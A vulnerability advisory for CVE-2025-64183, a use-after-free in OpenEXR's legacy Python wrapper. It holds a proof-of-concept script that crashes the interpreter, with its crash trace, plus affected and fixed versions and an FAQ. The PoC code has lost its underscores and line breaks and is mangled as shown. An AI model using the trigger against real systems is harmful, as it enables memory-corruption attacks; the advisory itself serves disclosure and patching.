CVE-2025-64183: OpenEXR has use after free in PyObject_StealAttrString
Summary There is a use-after-free in PyObjectStealAttrString of pyOpenEXRold.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObjectStealAttrString that calls PyObjectGetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLongAsLong/PyFloatAsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L1258-L1286
PoC
py import OpenEXR, Imath
Any small EXR will do - use one from OpenEXR test images or any project file path = "anysmall.exr"
Property returns a fresh temporary int subclass, so the buggy helper decrefs it to zero before passing it to PyLongAsLong => UAF. class FreshInt(int): def new(cls, v): return int.new(cls, v) def del(self): # stir the heap to make the UAF obvious under PYTHONMALLOC=debug = bytearray(1000000)
class PixelTypeProxy: @property def v(self): return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path) channel() forces the wrapper to read pixeltype.v using the buggy helper which returns a dangling pointer print("About to trigger UAF...") f.channel("R", pixeltype=PixelTypeProxy()) print("If you get here without a crash, try again with AddressSanitizer.") running
shell PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF... Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first): File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first): Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyDumpStack+0x44 [0x1058c00f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerdumpcstack+0x58 [0x1058d2f3c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerfatalerror+0x160 [0x1058d2e00] Binary file "/usr/lib/system/libsystemplatform.dylib", at sigtramp+0x38 [0x1841796a4] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at methodvectorcallVARARGSKEYWORDS+0x94 [0x1057032bc] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObjectVectorcall+0x58 [0x1056f5044] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalFrameDefault+0x9cac [0x1058312d8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalCode+0xf8 [0x105827130] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at runmod+0xac [0x1058a2b60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrunfile+0xa4 [0x1058a123c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunSimpleFileObject+0x100 [0x1058a07c0] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunAnyFileObject+0x50 [0x1058a0424] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfileobj+0xa4 [0x1058cfcd8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfile+0x48 [0x1058cfa20] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunMain+0x354 [0x1058cef60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainmain+0xe8 [0x1058cf3f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyBytesMain+0x28 [0x1058cf494] Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy.core.multiarrayumath, numpy.linalg.umathlinalg (total: 2) Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
Other sources
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObjectStealAttrString of pyOpenEXRold.cpp. The legacy adapter defines PyObjectStealAttrString that calls PyObjectGetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLongAsLong/PyFloatAsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-64183?
CVE-2025-64183 is classified as a critical vulnerability due to its potential for arbitrary code execution through a use-after-free condition.
How do I fix CVE-2025-64183?
To mitigate CVE-2025-64183, upgrade OpenEXR to version 3.2.5, 3.3.6, or 3.4.3, which have patched the vulnerability.
Which versions of OpenEXR are affected by CVE-2025-64183?
CVE-2025-64183 affects OpenEXR versions 3.2.0 to 3.2.4, 3.3.0 to 3.3.5, and 3.4.0 to 3.4.2.
What is a use-after-free vulnerability in the context of CVE-2025-64183?
A use-after-free vulnerability occurs when a program continues to use a pointer after the memory it points to has been freed, leading to potential code execution.
What impact can CVE-2025-64183 have on my system?
Exploitation of CVE-2025-64183 could allow an attacker to execute arbitrary code, leading to a complete compromise of the affected system.